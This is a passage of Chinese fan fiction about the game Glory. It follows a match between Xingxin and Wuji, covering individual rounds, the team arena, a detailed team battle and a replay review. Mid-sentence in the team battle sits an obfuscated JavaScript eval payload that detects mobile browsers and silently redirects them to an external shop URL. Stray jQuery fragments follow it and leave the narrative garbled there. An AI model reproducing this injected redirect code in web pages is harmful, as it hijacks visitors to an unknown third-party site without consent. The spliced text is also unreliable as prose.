无极首回合主场,第一张地图一出来,意图就已经很清楚。临江水廊。大片水面被曲折回廊切开,桥、亭、窄道和可以直接下水的缺口彼此穿插。熟图的人能在回廊和水下迅速换线,不熟的人却很容易多绕半圈,哪怕操作一点没慢,真正找到对手时也已经先输了位置。
个人赛第一场,包子入侵对晓枪——伍晨。叶修总算把昨天那张没对上名字的脸认了出来。“伍晨。”“昨天那个?”“嗯,现在无极的队长。”比赛载入前,叶修只提醒了一句:“注意别掉水里。”包子答得很有信心:“明白。”事实证明,他确实明白得彻底。避开了第一轮火力后,他本来只要从旁边缺口下水就能切到另一段回廊;听了叶修的话,他毫不犹豫放弃,转身去绕。半分钟没见面,等他再从另一个方向冒头,离晓枪反而更远。伍晨始终知道,只占住一个能覆盖两条必经路线的位置,包子第三次从同一拐角露头时,反坦克炮已经提前等在那里。之后就是枪炮师把战斗始终控制在准备好的距离里,直到包子入侵倒下,无极先拿一分。包子摘下耳机,表情认真:“职业队果然厉害。”“哪里厉害?”“地图太复杂。”“所以?”“下次不能听你的。”“我让你别掉水,没让你不下水。”包子想了一下:“有区别?”“很大。”“那就是你没说清楚。”叶修居然点头:“也算。”张佳乐看了他一眼,没说什么。正式比赛已经出了错误,这时候追着讲半天地图理解没多少意义,真正该拆的留到复盘,下一场的人先把比赛打完。
个人赛第二场,一寸灰对射击此处。无极继续用临江水廊。乔一帆没跟包子一样被地图牵着走。他先确认了几个出口,再故意露身位让射击此处追。射击此处以为自己在压一寸灰,绕过两段回廊以后才发现,灰阵和冰阵早把那几个出口变成了乔一帆自己的落阵点。比赛打得不快,却很稳。一寸灰拿下一分,比分回到1:1。张佳乐在旁边看着,说了句:“一帆这个图打得比前几天稳。”叶修:“嗯,知道先看路了。”
个人赛第三场,迎风布阵对利奥波特。地图还是临江水廊。利奥波特第一次真正交换技能时就觉出不对——迎风布阵的施法范围比他预想多出一截,关键技能等级也完全不像一张普通挑战赛账号。“终于有人发现4920不是装饰了。”魏琛赛后说。比赛里他还没来得及算清,魏琛已经用一个很不体面的假走位把他骗进控制范围,又靠更远的施法距离把节奏卡死。张佳乐在场外看着都忍不住评价:“这也能上当?”叶修替听不见的魏琛解释:“第一次见,不习惯。”“第一次见这么不要脸的?”“差不多。”迎风布阵拿下第三场,个人赛结束,兴欣2:1领先。
组队擂台名单提交时,陈果先看了一眼:“浅花迷人不上?”“留团队。”叶修说,“擂台够人。”张佳乐靠在椅背上:“别说得跟给我省体力似的。”“主要是省名额。”“滚。”无极没换图,寒烟柔第一个出场。义斩借来的银装适应了几天,唐柔没再出现训练第一轮那种节奏错位。她先连着拿掉无极前两人,打得不算漂亮,却很稳;等何安的人去也第三个上场,寒烟柔生命已经不足四分之一。何安没急着压,几次波动剑都在收唐柔能反扑的路线,寒烟柔硬抢了两次机会,第二次差点把人去也拖进近身,却因前两场技能消耗太大,后续没接上。唐柔下场时先看的不是血量,是最后一次进入的位置。“再近半步能不能到?”“能。”张佳乐说,“但你前面打得太满,到了也没技能。”“下次留。”
第二个上场的是陈果的逐烟霞。陈果平时也算得上熟练,可面对何安这种打过一届挑战赛的选手,她的节奏很快被拖住了,交手没几个回合就被收掉。最后叶修上场,把何安拿下。组队擂台的2.5分归兴欣。前两个项目结束,兴欣已经拿到4.5分。
无极那边当然不会满意。但真正让他们多看了两眼的,不是比分,是随后跳出来的团队赛名单。君莫笑、寒烟柔、一寸灰、浅花迷人、小手冰凉。第六人,迎风布阵。
浅花迷人。弹药专家。
浅花迷人第一次进入兴欣的正式团队阵容,也是在这一场,前面几周反复练过的那些视野差、短窗口和假关注点,第一次真正摆到一支有职业底子的完整队伍面前。前一天备战结束时,张佳乐说过一句:职业队会看。这一场正好看看,他们究竟能看出多少。
泉炎旗海看上去比临江水廊直白得多,暮色下的校场一眼望过去十分开阔,真正让人麻烦的东西却都藏在脚下。场中一面面旗帜对应着泉眼和火脉,攻击触发以后,原本平整的地面可能塌成水坑,也可能翻出火坑;一旦被触发,这些变化就不会重新藏回去,整张地图会随着交手一点点变成另一副样子。无极敢把它放进主场图池,当然早就把这些变化练熟。兴欣没有这样的积累,开局没多久,寒烟柔就被一处突然翻开的火坑逼停,枪炮和元素法术几乎同时从两边压了过来。唐柔手上没停,队伍频道里只敲了两个字。寒烟柔:右断。一寸灰很快回了一个“见”。
浅花迷人的第一轮手雷却没有砸向无极的人。爆炸接连触发右侧两处旗帜标记,一边地面塌开,另一边火脉翻出,原本需要靠记忆去判断的隐藏变化被直接掀到了明面上。
伍晨看得很快,手指一动,无极的队伍频道里立刻跳出晓枪的消息:拆图。紧接着,炮火已经转向浅花迷人。职业队不会因为满屏光影就慌。伍晨打过真正的职业联赛,他很清楚弹药专家的爆炸不等于攻击本身。浅花迷人这一轮有些技能在改地形,有些在封射线,真正奔着角色去的反而不多;只要别跟着最亮的地方走,而是盯住浅花迷人的落点、枪口和移动,就有机会找到真正要发生的事。
第二轮爆炸亮起时,伍晨没有去追最亮的右侧。晓枪炮口一转,激光直接轰向浅花迷人左前方,那里正是寒烟柔准备借遮挡进入的位置。唐柔没硬冲,频道里跳出一句:被看。张佳乐也没有再给她补第二层光,浅花迷人转火中段,无极的阵形果然跟着挪了一步。下一次,他先用普通射击压了一下地面,一寸灰看到这个起手,已经提前移动。一寸灰:晚0.5秒。闪光真的晚了半秒。伍晨已经判断出这一轮不是寒烟柔的主攻,晓枪的视角只被高处那点亮光带偏了一瞬。一瞬已经够了。一寸灰在更低的位置完成吟唱,冰阵一亮,无极气功师被迫横移,寒烟柔没有再走刚才被看穿的右侧,而是顺着这次横移留下的中间空档直接压了进去。
气功师退了,术士的控制却同时补上;人去也回身接寒烟柔,晓枪炮口已经重新压住一寸灰,不给乔一帆舒服地连续落阵。刚才那半步,无极确实看错了。也就错了半步。君莫笑:收。兴欣没有硬追,五个人重新拉开。
无极把这看成了兴欣在适应地图,进攻立刻向前压了一层,很快又先做出人员调整——牧师进入援助区域,第六人的元素法师替换上场,五个输出职业一铺开,泉炎旗海立刻被另一种更沉重的火力覆盖。这一次无极不只熟图,装备优势也开始真正显出来。炮火压过,沿路几处旗位接连被触发,水坑火坑一个个翻出,无极的主场图,也正被他们自己的火力一点点打明。正面对轰时,兴欣的血线掉得很快,小手冰凉的治疗没有断,却只能把每一次抬血都放在最需要的位置上,根本没有余裕让其他人随便吃伤害。小手冰凉:左撤。寒烟柔很快又补了一句:左封。前面被触发的火坑还在,那条路已经不能按原来的方式走。君莫笑没有停下来重新确认,先一步改向,寒烟柔跟上,一寸灰最后撤,小手冰凉则沿着浅花迷人用烟雾和爆炸拉出来的短暂遮挡换到下一个治疗位置。
伍晨一直盯着浅花迷人的技能落点。这一轮他又看对了。烟雾是给治疗撤退的,闪光是防晓枪追射,右侧两枚手雷根本没有后续,只是在逼无极不要从最短路线包夹。晓枪在队伍频道里迅速敲出一句:中压,别追光。无极五人从中路推进,节奏比兴欣更整齐,五输出带来的压迫也比前面任何一轮都重。浅花迷人的几次遮挡连续被伍晨看穿。张佳乐看不见外头的议论,他只看见无极终于开始按他们预想的路线往前走。君莫笑:右亮。浅花迷人没有铺大范围花海,只在右侧制造了一片密度不高的爆炸。君莫笑的身影故意在光边露了一下,伍晨立刻捕捉到了,晓枪的报点也马上出现在无极频道里。无极果然没有追。他们已经知道浅花迷人的光后面不一定是真正攻击,人去也仍然走中路,其他几人也没有被那一下明显的诱导带偏。伍晨的判断没有错。可十秒不到,何安忽然发现兴欣五个人几乎同时转了回来。君莫笑最先贴上,人去也的退路被寒烟柔正面截住,一寸灰的阵却不是从刚才最亮的地方起手,而是从那片已经暗下去的光后铺开。何安看到鬼阵时才反
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945577|213068||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应过来,那一轮爆炸确实没有藏君莫笑,它藏的是乔一帆提前换过去的位置。人去也:支援,五个。无极立刻回收,晓枪第三个赶到,炮火一铺,总算给何安争出一点喘息。可前面为了扩大输出,他们已经把牧师换下了场,人去也的生命又在这一轮集火里被压得很危险。
想换回治疗,就得重新利用援助区域完成交换。泉炎旗海本来并不是一张特别适合援助战法的地图,兴欣也没办法凭空逼着无极往那里走。问题是现在需要援助区域的,恰恰是无极自己。他们开始边打边向那一侧收,兴欣没有强拦,反而顺着节奏一点点退。伍晨继续看浅花迷人的落点:烟雾在左,爆炸在右,一寸灰被炮火压在后面,小手冰凉还在维持治疗,五个人似乎都能看见。正因为都看得见,他才忽然觉得哪里不对。晓枪:停。第一条消息发出去时,无极的前排还在往前。伍晨紧跟着又敲了一句:别进。何安这时也看见了援助区域的标记,可兴欣的小手冰凉已经先一步站了进去。公共频道里,君莫笑慢悠悠地冒出一句:“现在才停,有点晚。”
下一秒,小手冰凉退场,迎风布阵替换进入。换人提示并不隐蔽,无极也没有谁真看不见魏琛上场。利奥波特第一个锁到右后方,新进场的迎风布阵已经举起法杖,黑气正沿着杖身聚拢。
“死亡之门,打断!”
激光炮出手,君莫笑横过来撑伞。光束折返,晓枪自己的攻击反轰回来。其他人的打断紧跟着压上,却被千机伞挡住。蓝光就在这时从脚下亮起。冰阵。何安刚要起烈焰波动阵,寒烟柔已经抢到面前,一记龙牙直刺,人去也动作一僵,刚起的施法当场断掉。伍晨重新转回视角。
然后他才发现,浅花迷人已经不遮了。
刚才所有人都在找怎么打断死亡之门,下一秒脚下又是冰阵。伍晨好不容易把炮口重新拉回来,浅花迷人却已经从“制造问题的人”变成了“直接打人的人”。第一发冰弹压行动。爆炎弹紧跟。手雷不是再去遮视线,而是直接朝已经被冰阵限制住的站位压进去。到了这一步,伍晨已经没有新的东西需要判断了。该判断的他全判断完了。只是晚了一轮动作。
死亡之门彻底张开,黑线卷过无极阵形,人去也本来就已经危险的生命第一个见底。人去也倒下,原本被换下的牧师随即以第六人身份从替换区入场。可入场不等于治疗已经接上,换人区离战团还有距离,君莫笑已经转身截住了他往前补治疗线的路。
人去也先倒,无极原本的处理顺序彻底断了一截。牧师虽然重新入场,却还没有把治疗线接回来;晓枪要重建远程火力,其他人还得从死亡之门和冰阵留下的站位里脱身。到这里,兴欣已经不用再藏了,只要按人数和位置把优势一点点压到底。
最后一个无极角色倒下时,团队赛的4分也随之落定,首回合比分定格在8.5:1。训练室里没有马上庆祝。唐柔先把最开始被晓枪抓到进入路线的那一段倒回去;乔一帆在记冰阵起手时自己提前移动了多少;安文逸则重新核最后换人前的全队血线,确认那一刻把治疗换下去到底冒了多大风险。张佳乐却一直在看伍晨。他把晓枪的第一视角连续拖了几遍,最后停在援助区域前。“前三次都看对了。”他说。叶修问:“最后呢?”“也没错。”张佳乐指了指屏幕,“他知道烟雾在保治疗,知道最亮的地方不一定是真正主攻,也看出来我们一直在往援助区带。换人以后,死亡之门他还是第一个认出来的。”他又往前拖了一段,“这里也一样。君莫笑是假,他看对了。可看对以后,他就不看那边了。一帆正好过去。”“那怎么没拦住?”魏琛问。“不是他看得慢。”张佳乐说,“他是在选。”他停住画面,“唐柔进,他得压;小安撤,他得决定追不追;老魏读死亡之门,他一定先打断。每一个都该管。所以他每次都选对了。问题是他只能先选一个。”
叶修笑了笑:“所以职业队会看。”
“会。”
“那就行。”
张佳乐转头:“什么叫那就行?”
“看得出来,又来不及全看完,不就够了?”
张佳乐盯着录像里那片已经散掉的光,过了两秒,把进度条重新拖回闪光弹炸开的那一帧。“下一场这段再改一下。”
“改什么?”叶修问。
“让他更难选。”